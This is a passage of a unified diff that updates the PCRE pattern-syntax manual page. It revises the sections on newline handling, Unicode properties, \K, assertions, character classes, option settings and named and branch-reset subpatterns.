+       locales with Unicode is discouraged.
+
+   Newline sequences
+
+       Outside  a  character class, by default, the escape sequence \R matches
+       any Unicode newline sequence. This is a Perl 5.10 feature. In non-UTF-8
+       mode \R is equivalent to the following:
+
+         (?>\r\n|\n|\x0b|\f|\r|\x85)
+
+       This  is  an  example  of an "atomic group", details of which are given
+       below.  This particular group matches either the two-character sequence
+       CR  followed  by  LF,  or  one  of  the single characters LF (linefeed,
+       U+000A), VT (vertical tab, U+000B), FF (formfeed, U+000C), CR (carriage
+       return, U+000D), or NEL (next line, U+0085). The two-character sequence
+       is treated as a single unit that cannot be split.
+
+       In UTF-8 mode, two additional characters whose codepoints  are  greater
+       than 255 are added: LS (line separator, U+2028) and PS (paragraph sepa-
+       rator, U+2029).  Unicode character property support is not  needed  for
+       these characters to be recognized.
+
+       It is possible to restrict \R to match only CR, LF, or CRLF (instead of
+       the complete set  of  Unicode  line  endings)  by  setting  the  option
+       PCRE_BSR_ANYCRLF either at compile time or when the pattern is matched.
+       (BSR is an abbrevation for "backslash R".) This can be made the default
+       when  PCRE  is  built;  if this is the case, the other behaviour can be
+       requested via the PCRE_BSR_UNICODE option.   It  is  also  possible  to
+       specify  these  settings  by  starting a pattern string with one of the
+       following sequences:
+
+         (*BSR_ANYCRLF)   CR, LF, or CRLF only
+         (*BSR_UNICODE)   any Unicode newline sequence
+
+       These override the default and the options given to pcre_compile(), but
+       they can be overridden by options given to pcre_exec(). Note that these
+       special settings, which are not Perl-compatible, are recognized only at
+       the  very  start  of a pattern, and that they must be in upper case. If
+       more than one of them is present, the last one is  used.  They  can  be
+       combined  with  a  change of newline convention, for example, a pattern
+       can start with:
+
+         (*ANY)(*BSR_ANYCRLF)
+
+       Inside a character class, \R matches the letter "R".
+
    Unicode character properties
 
        When PCRE is built with Unicode character property support, three addi-
-       tional  escape  sequences  to  match character properties are available
-       when UTF-8 mode is selected. They are:
+       tional  escape sequences that match characters with specific properties
+       are available.  When not in UTF-8 mode, these sequences are  of  course
+       limited  to  testing characters whose codepoints are less than 256, but
+       they do work in this mode.  The extra escape sequences are:
 
          \p{xx}   a character with the xx property
          \P{xx}   a character without the xx property
@@ -2788,15 +3395,15 @@
        Those that are not part of an identified script are lumped together  as
        "Common". The current list of scripts is:
 
-       Arabic,  Armenian,  Bengali,  Bopomofo, Braille, Buginese, Buhid, Cana-
-       dian_Aboriginal, Cherokee, Common, Coptic, Cypriot, Cyrillic,  Deseret,
-       Devanagari,  Ethiopic,  Georgian,  Glagolitic, Gothic, Greek, Gujarati,
-       Gurmukhi, Han, Hangul, Hanunoo, Hebrew, Hiragana,  Inherited,  Kannada,
-       Katakana,  Kharoshthi,  Khmer,  Lao, Latin, Limbu, Linear_B, Malayalam,
-       Mongolian, Myanmar, New_Tai_Lue, Ogham, Old_Italic, Old_Persian, Oriya,
-       Osmanya,  Runic,  Shavian, Sinhala, Syloti_Nagri, Syriac, Tagalog, Tag-
-       banwa,  Tai_Le,  Tamil,  Telugu,  Thaana,  Thai,   Tibetan,   Tifinagh,
-       Ugaritic, Yi.
+       Arabic,  Armenian,  Balinese,  Bengali,  Bopomofo,  Braille,  Buginese,
+       Buhid,  Canadian_Aboriginal,  Cherokee,  Common,   Coptic,   Cuneiform,
+       Cypriot, Cyrillic, Deseret, Devanagari, Ethiopic, Georgian, Glagolitic,
+       Gothic, Greek, Gujarati, Gurmukhi, Han, Hangul, Hanunoo, Hebrew,  Hira-
+       gana,  Inherited,  Kannada,  Katakana,  Kharoshthi,  Khmer, Lao, Latin,
+       Limbu,  Linear_B,  Malayalam,  Mongolian,  Myanmar,  New_Tai_Lue,  Nko,
+       Ogham,  Old_Italic,  Old_Persian, Oriya, Osmanya, Phags_Pa, Phoenician,
+       Runic,  Shavian,  Sinhala,  Syloti_Nagri,  Syriac,  Tagalog,  Tagbanwa,
+       Tai_Le, Tamil, Telugu, Thaana, Thai, Tibetan, Tifinagh, Ugaritic, Yi.
 
        Each  character has exactly one general category property, specified by
        a two-letter abbreviation. For compatibility with Perl, negation can be
@@ -2861,6 +3468,12 @@
        has the Lu, Ll, or Lt property, in other words, a letter  that  is  not
        classified as a modifier or "other".
 
+       The  Cs  (Surrogate)  property  applies only to characters in the range
+       U+D800 to U+DFFF. Such characters are not valid in UTF-8  strings  (see
+       RFC 3629) and so cannot be tested by PCRE, unless UTF-8 validity check-
+       ing has been turned off (see the discussion  of  PCRE_NO_UTF8_CHECK  in
+       the pcreapi page).
+
        The  long  synonyms  for  these  properties that Perl supports (such as
        \p{Letter}) are not supported by PCRE, nor is it  permitted  to  prefix
        any of these properties with "Is".
@@ -2880,63 +3493,85 @@
        That  is,  it matches a character without the "mark" property, followed
        by zero or more characters with the "mark"  property,  and  treats  the
        sequence  as  an  atomic group (see below).  Characters with the "mark"
-       property are typically accents that affect the preceding character.
+       property are typically accents that  affect  the  preceding  character.
+       None  of  them  have  codepoints less than 256, so in non-UTF-8 mode \X
+       matches any one character.
 
        Matching characters by Unicode property is not fast, because  PCRE  has
        to  search  a  structure  that  contains data for over fifteen thousand
        characters. That is why the traditional escape sequences such as \d and
        \w do not use Unicode properties in PCRE.
 
+   Resetting the match start
+
+       The escape sequence \K, which is a Perl 5.10 feature, causes any previ-
+       ously matched characters not  to  be  included  in  the  final  matched
+       sequence. For example, the pattern:
+
+         foo\Kbar
+
+       matches  "foobar",  but reports that it has matched "bar". This feature
+       is similar to a lookbehind assertion (described  below).   However,  in
+       this  case, the part of the subject before the real match does not have
+       to be of fixed length, as lookbehind assertions do. The use of \K  does
+       not  interfere  with  the setting of captured substrings.  For example,
+       when the pattern
+
+         (foo)\Kbar
+
+       matches "foobar", the first substring is still set to "foo".
+
    Simple assertions
 
-       The fourth use of backslash is for certain simple assertions. An asser-
-       tion specifies a condition that has to be met at a particular point  in
-       a  match, without consuming any characters from the subject string. The
-       use of subpatterns for more complicated assertions is described  below.
+       The final use of backslash is for certain simple assertions. An  asser-
+       tion  specifies a condition that has to be met at a particular point in
+       a match, without consuming any characters from the subject string.  The
+       use  of subpatterns for more complicated assertions is described below.
        The backslashed assertions are:
 
          \b     matches at a word boundary
          \B     matches when not at a word boundary
-         \A     matches at start of subject
-         \Z     matches at end of subject or before newline at end
-         \z     matches at end of subject
-         \G     matches at first matching position in subject
+         \A     matches at the start of the subject
+         \Z     matches at the end of the subject
+                 also matches before a newline at the end of the subject
+         \z     matches only at the end of the subject
+         \G     matches at the first matching position in the subject
 
-       These  assertions may not appear in character classes (but note that \b
+       These assertions may not appear in character classes (but note that  \b
        has a different meaning, namely the backspace character, inside a char-
        acter class).
 
-       A  word  boundary is a position in the subject string where the current
-       character and the previous character do not both match \w or  \W  (i.e.
-       one  matches  \w  and the other matches \W), or the start or end of the
+       A word boundary is a position in the subject string where  the  current
+       character  and  the previous character do not both match \w or \W (i.e.
+       one matches \w and the other matches \W), or the start or  end  of  the
        string if the first or last character matches \w, respectively.
 
-       The \A, \Z, and \z assertions differ from  the  traditional  circumflex
+       The  \A,  \Z,  and \z assertions differ from the traditional circumflex
        and dollar (described in the next section) in that they only ever match
-       at the very start and end of the subject string, whatever  options  are
-       set.  Thus,  they are independent of multiline mode. These three asser-
+       at  the  very start and end of the subject string, whatever options are
+       set. Thus, they are independent of multiline mode. These  three  asser-
        tions are not affected by the PCRE_NOTBOL or PCRE_NOTEOL options, which
-       affect  only the behaviour of the circumflex and dollar metacharacters.
-       However, if the startoffset argument of pcre_exec() is non-zero,  indi-
+       affect only the behaviour of the circumflex and dollar  metacharacters.
+       However,  if the startoffset argument of pcre_exec() is non-zero, indi-
        cating that matching is to start at a point other than the beginning of
-       the subject, \A can never match. The difference between \Z  and  \z  is
+       the  subject,  \A  can never match. The difference between \Z and \z is
        that \Z matches before a newline at the end of the string as well as at
        the very end, whereas \z matches only at the end.
 
-       The \G assertion is true only when the current matching position is  at
-       the  start point of the match, as specified by the startoffset argument
-       of pcre_exec(). It differs from \A when the  value  of  startoffset  is
-       non-zero.  By calling pcre_exec() multiple times with appropriate argu-
+       The  \G assertion is true only when the current matching position is at
+       the start point of the match, as specified by the startoffset  argument
+       of  pcre_exec().  It  differs  from \A when the value of startoffset is
+       non-zero. By calling pcre_exec() multiple times with appropriate  argu-
        ments, you can mimic Perl's /g option, and it is in this kind of imple-
        mentation where \G can be useful.
 
-       Note,  however,  that  PCRE's interpretation of \G, as the start of the
+       Note, however, that PCRE's interpretation of \G, as the  start  of  the
        current match, is subtly different from Perl's, which defines it as the
-       end  of  the  previous  match. In Perl, these can be different when the
-       previously matched string was empty. Because PCRE does just  one  match
+       end of the previous match. In Perl, these can  be  different  when  the
+       previously  matched  string was empty. Because PCRE does just one match
        at a time, it cannot reproduce this behaviour.
 
-       If  all  the alternatives of a pattern begin with \G, the expression is
+       If all the alternatives of a pattern begin with \G, the  expression  is
        anchored to the starting match position, and the "anchored" flag is set
        in the compiled regular expression.
 
@@ -2944,69 +3579,72 @@
 CIRCUMFLEX AND DOLLAR
 
        Outside a character class, in the default matching mode, the circumflex
-       character is an assertion that is true only  if  the  current  matching
-       point  is  at the start of the subject string. If the startoffset argu-
-       ment of pcre_exec() is non-zero, circumflex  can  never  match  if  the
-       PCRE_MULTILINE  option  is  unset. Inside a character class, circumflex
+       character  is  an  assertion  that is true only if the current matching
+       point is at the start of the subject string. If the  startoffset  argu-
+       ment  of  pcre_exec()  is  non-zero,  circumflex can never match if the
+       PCRE_MULTILINE option is unset. Inside a  character  class,  circumflex
        has an entirely different meaning (see below).
 
-       Circumflex need not be the first character of the pattern if  a  number
-       of  alternatives are involved, but it should be the first thing in each
-       alternative in which it appears if the pattern is ever  to  match  that
-       branch.  If all possible alternatives start with a circumflex, that is,
-       if the pattern is constrained to match only at the start  of  the  sub-
-       ject,  it  is  said  to be an "anchored" pattern. (There are also other
+       Circumflex  need  not be the first character of the pattern if a number
+       of alternatives are involved, but it should be the first thing in  each
+       alternative  in  which  it appears if the pattern is ever to match that
+       branch. If all possible alternatives start with a circumflex, that  is,
+       if  the  pattern  is constrained to match only at the start of the sub-
+       ject, it is said to be an "anchored" pattern.  (There  are  also  other
        constructs that can cause a pattern to be anchored.)
 
-       A dollar character is an assertion that is true  only  if  the  current
-       matching  point  is  at  the  end of the subject string, or immediately
+       A  dollar  character  is  an assertion that is true only if the current
+       matching point is at the end of  the  subject  string,  or  immediately
        before a newline at the end of the string (by default). Dollar need not
-       be  the  last  character of the pattern if a number of alternatives are
-       involved, but it should be the last item in  any  branch  in  which  it
+       be the last character of the pattern if a number  of  alternatives  are
+       involved,  but  it  should  be  the last item in any branch in which it
        appears. Dollar has no special meaning in a character class.
 
-       The  meaning  of  dollar  can be changed so that it matches only at the
-       very end of the string, by setting the  PCRE_DOLLAR_ENDONLY  option  at
+       The meaning of dollar can be changed so that it  matches  only  at  the
+       very  end  of  the string, by setting the PCRE_DOLLAR_ENDONLY option at
        compile time. This does not affect the \Z assertion.
 
        The meanings of the circumflex and dollar characters are changed if the
-       PCRE_MULTILINE option is set. When  this  is  the  case,  a  circumflex
-       matches  immediately after internal newlines as well as at the start of
-       the subject string. It does not match after a  newline  that  ends  the
-       string.  A dollar matches before any newlines in the string, as well as
-       at the very end, when PCRE_MULTILINE is set. When newline is  specified
-       as  the  two-character  sequence CRLF, isolated CR and LF characters do
+       PCRE_MULTILINE  option  is  set.  When  this  is the case, a circumflex
+       matches immediately after internal newlines as well as at the start  of
+       the  subject  string.  It  does not match after a newline that ends the
+       string. A dollar matches before any newlines in the string, as well  as
+       at  the very end, when PCRE_MULTILINE is set. When newline is specified
+       as the two-character sequence CRLF, isolated CR and  LF  characters  do
        not indicate newlines.
 
-       For example, the pattern /^abc$/ matches the subject string  "def\nabc"
-       (where  \n  represents a newline) in multiline mode, but not otherwise.
-       Consequently, patterns that are anchored in single  line  mode  because
-       all  branches  start  with  ^ are not anchored in multiline mode, and a
-       match for circumflex is  possible  when  the  startoffset  argument  of
-       pcre_exec()  is  non-zero. The PCRE_DOLLAR_ENDONLY option is ignored if
+       For  example, the pattern /^abc$/ matches the subject string "def\nabc"
+       (where \n represents a newline) in multiline mode, but  not  otherwise.
+       Consequently,  patterns  that  are anchored in single line mode because
+       all branches start with ^ are not anchored in  multiline  mode,  and  a
+       match  for  circumflex  is  possible  when  the startoffset argument of
+       pcre_exec() is non-zero. The PCRE_DOLLAR_ENDONLY option is  ignored  if
        PCRE_MULTILINE is set.
 
-       Note that the sequences \A, \Z, and \z can be used to match  the  start
-       and  end of the subject in both modes, and if all branches of a pattern
-       start with \A it is always anchored, whether or not  PCRE_MULTILINE  is
+       Note  that  the sequences \A, \Z, and \z can be used to match the start
+       and end of the subject in both modes, and if all branches of a  pattern
+       start  with  \A it is always anchored, whether or not PCRE_MULTILINE is
        set.
 
 
 FULL STOP (PERIOD, DOT)
 
        Outside a character class, a dot in the pattern matches any one charac-
-       ter in the subject string except (by default) a character  that  signi-
-       fies  the  end  of  a line. In UTF-8 mode, the matched character may be
-       more than one byte long. When a line ending  is  defined  as  a  single
-       character  (CR  or LF), dot never matches that character; when the two-
-       character sequence CRLF is used, dot does not match CR if it is immedi-
-       ately  followed by LF, but otherwise it matches all characters (includ-
-       ing isolated CRs and LFs).
+       ter  in  the subject string except (by default) a character that signi-
+       fies the end of a line. In UTF-8 mode, the  matched  character  may  be
+       more than one byte long.
 
+       When  a line ending is defined as a single character, dot never matches
+       that character; when the two-character sequence CRLF is used, dot  does
+       not  match  CR  if  it  is immediately followed by LF, but otherwise it
+       matches all characters (including isolated CRs and LFs). When any  Uni-
+       code  line endings are being recognized, dot does not match CR or LF or
+       any of the other line ending characters.
+
        The behaviour of dot with regard to newlines can  be  changed.  If  the
        PCRE_DOTALL  option  is  set,  a dot matches any one character, without
-       exception. If newline is defined as the two-character sequence CRLF, it
-       takes two dots to match it.
+       exception. If the two-character sequence CRLF is present in the subject
+       string, it takes two dots to match it.
 
        The  handling of dot is entirely independent of the handling of circum-
        flex and dollar, the only relationship being  that  they  both  involve
@@ -3016,14 +3654,15 @@
 MATCHING A SINGLE BYTE
 
        Outside a character class, the escape sequence \C matches any one byte,
-       both in and out of UTF-8 mode. Unlike a dot, it always matches  CR  and
-       LF.  The feature is provided in Perl in order to match individual bytes
-       in UTF-8 mode.  Because it breaks up UTF-8 characters  into  individual
-       bytes,  what remains in the string may be a malformed UTF-8 string. For
-       this reason, the \C escape sequence is best avoided.
+       both in and out of UTF-8 mode. Unlike a  dot,  it  always  matches  any
+       line-ending  characters.  The  feature  is provided in Perl in order to
+       match individual bytes in UTF-8 mode. Because it breaks up UTF-8  char-
+       acters  into individual bytes, what remains in the string may be a mal-
+       formed UTF-8 string. For this reason, the \C escape  sequence  is  best
+       avoided.
 
-       PCRE does not allow \C to appear in  lookbehind  assertions  (described
-       below),  because  in UTF-8 mode this would make it impossible to calcu-
+       PCRE  does  not  allow \C to appear in lookbehind assertions (described
+       below), because in UTF-8 mode this would make it impossible  to  calcu-
        late the length of the lookbehind.
 
 
@@ -3032,96 +3671,96 @@
        An opening square bracket introduces a character class, terminated by a
        closing square bracket. A closing square bracket on its own is not spe-
        cial. If a closing square bracket is required as a member of the class,
-       it  should  be  the first data character in the class (after an initial
+       it should be the first data character in the class  (after  an  initial
        circumflex, if present) or escaped with a backslash.
 
-       A character class matches a single character in the subject.  In  UTF-8
-       mode,  the character may occupy more than one byte. A matched character
+       A  character  class matches a single character in the subject. In UTF-8
+       mode, the character may occupy more than one byte. A matched  character
        must be in the set of characters defined by the class, unless the first
-       character  in  the  class definition is a circumflex, in which case the
-       subject character must not be in the set defined by  the  class.  If  a
-       circumflex  is actually required as a member of the class, ensure it is
+       character in the class definition is a circumflex, in  which  case  the
+       subject  character  must  not  be in the set defined by the class. If a
+       circumflex is actually required as a member of the class, ensure it  is
        not the first character, or escape it with a backslash.
 
-       For example, the character class [aeiou] matches any lower case  vowel,
-       while  [^aeiou]  matches  any character that is not a lower case vowel.
+       For  example, the character class [aeiou] matches any lower case vowel,
+       while [^aeiou] matches any character that is not a  lower  case  vowel.
        Note that a circumflex is just a convenient notation for specifying the
-       characters  that  are in the class by enumerating those that are not. A
-       class that starts with a circumflex is not an assertion: it still  con-
-       sumes  a  character  from the subject string, and therefore it fails if
+       characters that are in the class by enumerating those that are  not.  A
+       class  that starts with a circumflex is not an assertion: it still con-
+       sumes a character from the subject string, and therefore  it  fails  if
        the current pointer is at the end of the string.
 
-       In UTF-8 mode, characters with values greater than 255 can be  included
-       in  a  class as a literal string of bytes, or by using the \x{ escaping
+       In  UTF-8 mode, characters with values greater than 255 can be included
+       in a class as a literal string of bytes, or by using the  \x{  escaping
        mechanism.
 
-       When caseless matching is set, any letters in a  class  represent  both
-       their  upper  case  and lower case versions, so for example, a caseless
-       [aeiou] matches "A" as well as "a", and a caseless  [^aeiou]  does  not
-       match  "A", whereas a caseful version would. In UTF-8 mode, PCRE always
-       understands the concept of case for characters whose  values  are  less
-       than  128, so caseless matching is always possible. For characters with
-       higher values, the concept of case is supported  if  PCRE  is  compiled
-       with  Unicode  property support, but not otherwise.  If you want to use
-       caseless matching for characters 128 and above, you  must  ensure  that
-       PCRE  is  compiled  with Unicode property support as well as with UTF-8
+       When  caseless  matching  is set, any letters in a class represent both
+       their upper case and lower case versions, so for  example,  a  caseless
+       [aeiou]  matches  "A"  as well as "a", and a caseless [^aeiou] does not
+       match "A", whereas a caseful version would. In UTF-8 mode, PCRE  always
+       understands  the  concept  of case for characters whose values are less
+       than 128, so caseless matching is always possible. For characters  with
+       higher  values,  the  concept  of case is supported if PCRE is compiled
+       with Unicode property support, but not otherwise.  If you want  to  use
+       caseless  matching  for  characters 128 and above, you must ensure that
+       PCRE is compiled with Unicode property support as well  as  with  UTF-8
        support.
 
-       Characters that might indicate  line  breaks  (CR  and  LF)  are  never
-       treated  in  any  special way when matching character classes, whatever
-       line-ending sequence is in use, and whatever setting of the PCRE_DOTALL
-       and PCRE_MULTILINE options is used. A class such as [^a] always matches
-       one of these characters.
+       Characters  that  might  indicate  line breaks are never treated in any
+       special way  when  matching  character  classes,  whatever  line-ending
+       sequence  is  in  use,  and  whatever  setting  of  the PCRE_DOTALL and
+       PCRE_MULTILINE options is used. A class such as [^a] always matches one
+       of these characters.
 
-       The minus (hyphen) character can be used to specify a range of  charac-
-       ters  in  a  character  class.  For  example,  [d-m] matches any letter
-       between d and m, inclusive. If a  minus  character  is  required  in  a
-       class,  it  must  be  escaped  with a backslash or appear in a position
-       where it cannot be interpreted as indicating a range, typically as  the
+       The  minus (hyphen) character can be used to specify a range of charac-
+       ters in a character  class.  For  example,  [d-m]  matches  any  letter
+       between  d  and  m,  inclusive.  If  a minus character is required in a
+       class, it must be escaped with a backslash  or  appear  in  a  position
+       where  it cannot be interpreted as indicating a range, typically as the
        first or last character in the class.
 
        It is not possible to have the literal character "]" as the end charac-
-       ter of a range. A pattern such as [W-]46] is interpreted as a class  of
-       two  characters ("W" and "-") followed by a literal string "46]", so it
-       would match "W46]" or "-46]". However, if the "]"  is  escaped  with  a
-       backslash  it is interpreted as the end of range, so [W-\]46] is inter-
-       preted as a class containing a range followed by two other  characters.
-       The  octal or hexadecimal representation of "]" can also be used to end
+       ter  of a range. A pattern such as [W-]46] is interpreted as a class of
+       two characters ("W" and "-") followed by a literal string "46]", so  it
+       would  match  "W46]"  or  "-46]". However, if the "]" is escaped with a
+       backslash it is interpreted as the end of range, so [W-\]46] is  inter-
+       preted  as a class containing a range followed by two other characters.
+       The octal or hexadecimal representation of "]" can also be used to  end
        a range.
 
-       Ranges operate in the collating sequence of character values. They  can
-       also   be  used  for  characters  specified  numerically,  for  example
-       [\000-\037]. In UTF-8 mode, ranges can include characters whose  values
+       Ranges  operate in the collating sequence of character values. They can
+       also  be  used  for  characters  specified  numerically,  for   example
+       [\000-\037].  In UTF-8 mode, ranges can include characters whose values
        are greater than 255, for example [\x{100}-\x{2ff}].
 
        If a range that includes letters is used when caseless matching is set,
        it matches the letters in either case. For example, [W-c] is equivalent
-       to  [][\\^_`wxyzabc],  matched  caselessly,  and  in non-UTF-8 mode, if
-       character tables for the "fr_FR" locale are in use, [\xc8-\xcb] matches
-       accented  E  characters in both cases. In UTF-8 mode, PCRE supports the
-       concept of case for characters with values greater than 128  only  when
+       to [][\\^_`wxyzabc], matched caselessly,  and  in  non-UTF-8  mode,  if
+       character  tables  for  a French locale are in use, [\xc8-\xcb] matches
+       accented E characters in both cases. In UTF-8 mode, PCRE  supports  the
+       concept  of  case for characters with values greater than 128 only when
        it is compiled with Unicode property support.
 
-       The  character types \d, \D, \p, \P, \s, \S, \w, and \W may also appear
-       in a character class, and add the characters that  they  match  to  the
+       The character types \d, \D, \p, \P, \s, \S, \w, and \W may also  appear
+       in  a  character  class,  and add the characters that they match to the
        class. For example, [\dABCDEF] matches any hexadecimal digit. A circum-
-       flex can conveniently be used with the upper case  character  types  to
-       specify  a  more  restricted  set of characters than the matching lower
-       case type. For example, the class [^\W_] matches any letter  or  digit,
+       flex  can  conveniently  be used with the upper case character types to
+       specify a more restricted set of characters  than  the  matching  lower
+       case  type.  For example, the class [^\W_] matches any letter or digit,
        but not underscore.
 
-       The  only  metacharacters  that are recognized in character classes are
-       backslash, hyphen (only where it can be  interpreted  as  specifying  a
-       range),  circumflex  (only  at the start), opening square bracket (only
-       when it can be interpreted as introducing a POSIX class name - see  the
-       next  section),  and  the  terminating closing square bracket. However,
+       The only metacharacters that are recognized in  character  classes  are
+       backslash,  hyphen  (only  where  it can be interpreted as specifying a
+       range), circumflex (only at the start), opening  square  bracket  (only
+       when  it can be interpreted as introducing a POSIX class name - see the
+       next section), and the terminating  closing  square  bracket.  However,
        escaping other non-alphanumeric characters does no harm.
 
 
 POSIX CHARACTER CLASSES
 
        Perl supports the POSIX notation for character classes. This uses names
-       enclosed  by  [: and :] within the enclosing square brackets. PCRE also
+       enclosed by [: and :] within the enclosing square brackets.  PCRE  also
        supports this notation. For example,
 
          [01[:alpha:]%]
@@ -3144,18 +3783,18 @@
          word     "word" characters (same as \w)
          xdigit   hexadecimal digits
 
-       The  "space" characters are HT (9), LF (10), VT (11), FF (12), CR (13),
-       and space (32). Notice that this list includes the VT  character  (code
+       The "space" characters are HT (9), LF (10), VT (11), FF (12), CR  (13),
+       and  space  (32). Notice that this list includes the VT character (code
        11). This makes "space" different to \s, which does not include VT (for
        Perl compatibility).
 
-       The name "word" is a Perl extension, and "blank"  is  a  GNU  extension
-       from  Perl  5.8. Another Perl extension is negation, which is indicated
+       The  name  "word"  is  a Perl extension, and "blank" is a GNU extension
+       from Perl 5.8. Another Perl extension is negation, which  is  indicated
        by a ^ character after the colon. For example,
 
          [12[:^digit:]]
 
-       matches "1", "2", or any non-digit. PCRE (and Perl) also recognize  the
+       matches  "1", "2", or any non-digit. PCRE (and Perl) also recognize the
        POSIX syntax [.ch.] and [=ch=] where "ch" is a "collating element", but
        these are not supported, and an error is given if they are encountered.
 
@@ -3175,15 +3814,15 @@
        string). The matching process tries each alternative in turn, from left
        to right, and the first one that succeeds is used. If the  alternatives
        are  within a subpattern (defined below), "succeeds" means matching the
-       rest of the main pattern as well as the alternative in the  subpattern.
+       rest of the main pattern as well as the alternative in the subpattern.
 
 
 INTERNAL OPTION SETTING
 
-       The  settings  of  the  PCRE_CASELESS, PCRE_MULTILINE, PCRE_DOTALL, and
-       PCRE_EXTENDED options can be changed  from  within  the  pattern  by  a
-       sequence  of  Perl  option  letters  enclosed between "(?" and ")". The
-       option letters are
+       The settings of the  PCRE_CASELESS,  PCRE_MULTILINE,  PCRE_DOTALL,  and
+       PCRE_EXTENDED  options  (which are Perl-compatible) can be changed from
+       within the pattern by  a  sequence  of  Perl  option  letters  enclosed
+       between "(?" and ")".  The option letters are
 
          i  for PCRE_CASELESS
          m  for PCRE_MULTILINE
@@ -3192,20 +3831,25 @@
 
        For example, (?im) sets caseless, multiline matching. It is also possi-
        ble to unset these options by preceding the letter with a hyphen, and a
-       combined setting and unsetting such as (?im-sx), which sets  PCRE_CASE-
-       LESS  and PCRE_MULTILINE while unsetting PCRE_DOTALL and PCRE_EXTENDED,
-       is also permitted. If a  letter  appears  both  before  and  after  the
+       combined  setting and unsetting such as (?im-sx), which sets PCRE_CASE-
+       LESS and PCRE_MULTILINE while unsetting PCRE_DOTALL and  PCRE_EXTENDED,
+       is  also  permitted.  If  a  letter  appears  both before and after the
        hyphen, the option is unset.
 
-       When  an option change occurs at top level (that is, not inside subpat-
-       tern parentheses), the change applies to the remainder of  the  pattern
-       that follows.  If the change is placed right at the start of a pattern,
-       PCRE extracts it into the global options (and it will therefore show up
-       in data extracted by the pcre_fullinfo() function).
+       The PCRE-specific options PCRE_DUPNAMES, PCRE_UNGREEDY, and  PCRE_EXTRA
+       can  be changed in the same way as the Perl-compatible options by using
+       the characters J, U and X respectively.
 
-       An option change within a subpattern affects only that part of the cur-
-       rent pattern that follows it, so
+       When one of these option changes occurs at  top  level  (that  is,  not
+       inside  subpattern parentheses), the change applies to the remainder of
+       the pattern that follows. If the change is placed right at the start of
+       a pattern, PCRE extracts it into the global options (and it will there-
+       fore show up in data extracted by the pcre_fullinfo() function).
 
+       An option change within a subpattern (see below for  a  description  of
+       subpatterns) affects only that part of the current pattern that follows
+       it, so
+
          (a(?i)b)c
 
        matches abc and aBc and no other strings (assuming PCRE_CASELESS is not
@@ -3221,9 +3865,13 @@
        the effects of option settings happen at compile time. There  would  be
        some very weird behaviour otherwise.
 
-       The  PCRE-specific options PCRE_DUPNAMES, PCRE_UNGREEDY, and PCRE_EXTRA
-       can be changed in the same way as the Perl-compatible options by  using
-       the characters J, U and X respectively.
+       Note:  There  are  other  PCRE-specific  options that can be set by the
+       application when the compile or match functions  are  called.  In  some
+       cases the pattern can contain special leading sequences such as (*CRLF)
+       to override what the application has set or what  has  been  defaulted.
+       Details  are  given  in the section entitled "Newline sequences" above.
+       There is also the (*UTF8) leading sequence that  can  be  used  to  set
+       UTF-8 mode; this is equivalent to setting the PCRE_UTF8 option.
 
 
 SUBPATTERNS
@@ -3236,7 +3884,7 @@
          cat(aract|erpillar|)
 
        matches one of the words "cat", "cataract", or  "caterpillar".  Without
-       the  parentheses,  it  would  match "cataract", "erpillar" or the empty
+       the  parentheses,  it  would  match  "cataract", "erpillar" or an empty
        string.
 
        2. It sets up the subpattern as  a  capturing  subpattern.  This  means
@@ -3265,9 +3913,7 @@
          the ((?:red|white) (king|queen))
 
        the captured substrings are "white queen" and "queen", and are numbered
-       1 and 2. The maximum number of capturing subpatterns is 65535, and  the
-       maximum  depth  of  nesting of all subpatterns, both capturing and non-
-       capturing, is 200.
+       1 and 2. The maximum number of capturing subpatterns is 65535.
 
        As a convenient shorthand, if any option settings are required  at  the
        start  of  a  non-capturing  subpattern,  the option letters may appear
@@ -3283,73 +3929,118 @@
        "Saturday".
 
 
+DUPLICATE SUBPATTERN NUMBERS
+
+       Perl 5.10 introduced a feature whereby each alternative in a subpattern
+       uses  the same numbers for its capturing parentheses. Such a subpattern
+       starts with (?| and is itself a non-capturing subpattern. For  example,
+       consider this pattern:
+
+         (?|(Sat)ur|(Sun))day
+
+       Because  the two alternatives are inside a (?| group, both sets of cap-
+       turing parentheses are numbered one. Thus, when  the  pattern  matches,
+       you  can  look  at captured substring number one, whichever alternative
+       matched. This construct is useful when you want to  capture  part,  but
+       not all, of one of a number of alternatives. Inside a (?| group, paren-
+       theses are numbered as usual, but the number is reset at the  start  of
+       each  branch. The numbers of any capturing buffers that follow the sub-
+       pattern start after the highest number used in any branch. The  follow-
+       ing  example  is taken from the Perl documentation.  The numbers under-
+       neath show in which buffer the captured content will be stored.
+
+         # before  ---------------branch-reset----------- after
+         / ( a )  (?| x ( y ) z | (p (q) r) | (t) u (v) ) ( z ) /x
+         # 1            2         2  3        2     3     4
+
+       A backreference or a recursive call to  a  numbered  subpattern  always
+       refers to the first one in the pattern with the given number.
+
+       An  alternative approach to using this "branch reset" feature is to use
+       duplicate named subpatterns, as described in the next section.
+
+
 NAMED SUBPATTERNS
 
        Identifying capturing parentheses by number is simple, but  it  can  be
        very  hard  to keep track of the numbers in complicated regular expres-
        sions. Furthermore, if an  expression  is  modified,  the  numbers  may
        change.  To help with this difficulty, PCRE supports the naming of sub-
-       patterns, something that Perl  does  not  provide.  The  Python  syntax
-       (?P<name>...)  is  used. References to capturing parentheses from other
-       parts of the pattern, such as  backreferences,  recursion,  and  condi-
-       tions, can be made by name as well as by number.
+       patterns. This feature was not added to Perl until release 5.10. Python
+       had  the  feature earlier, and PCRE introduced it at release 4.0, using
+       the Python syntax. PCRE now supports both the Perl and the Python  syn-
+       tax.
 
+       In  PCRE,  a subpattern can be named in one of three ways: (?<name>...)
+       or (?'name'...) as in Perl, or (?P<name>...) as in  Python.  References
+       to capturing parentheses from other parts of the pattern, such as back-
+       references, recursion, and conditions, can be made by name as  well  as
+       by number.
+
        Names  consist  of  up  to  32 alphanumeric characters and underscores.
        Named capturing parentheses are still  allocated  numbers  as  well  as
-       names. The PCRE API provides function calls for extracting the name-to-
-       number translation table from a compiled pattern. There is also a  con-
-       venience function for extracting a captured substring by name.
+       names,  exactly as if the names were not present. The PCRE API provides
+       function calls for extracting the name-to-number translation table from
+       a compiled pattern. There is also a convenience function for extracting
+       a captured substring by name.
 
-       By  default, a name must be unique within a pattern, but it is possible
+       By default, a name must be unique within a pattern, but it is  possible
        to relax this constraint by setting the PCRE_DUPNAMES option at compile
-       time.  This  can  be useful for patterns where only one instance of the
-       named parentheses can match. Suppose you want to match the  name  of  a
-       weekday,  either as a 3-letter abbreviation or as the full name, and in
+       time. This can be useful for patterns where only one  instance  of  the
+       named  parentheses  can  match. Suppose you want to match the name of a
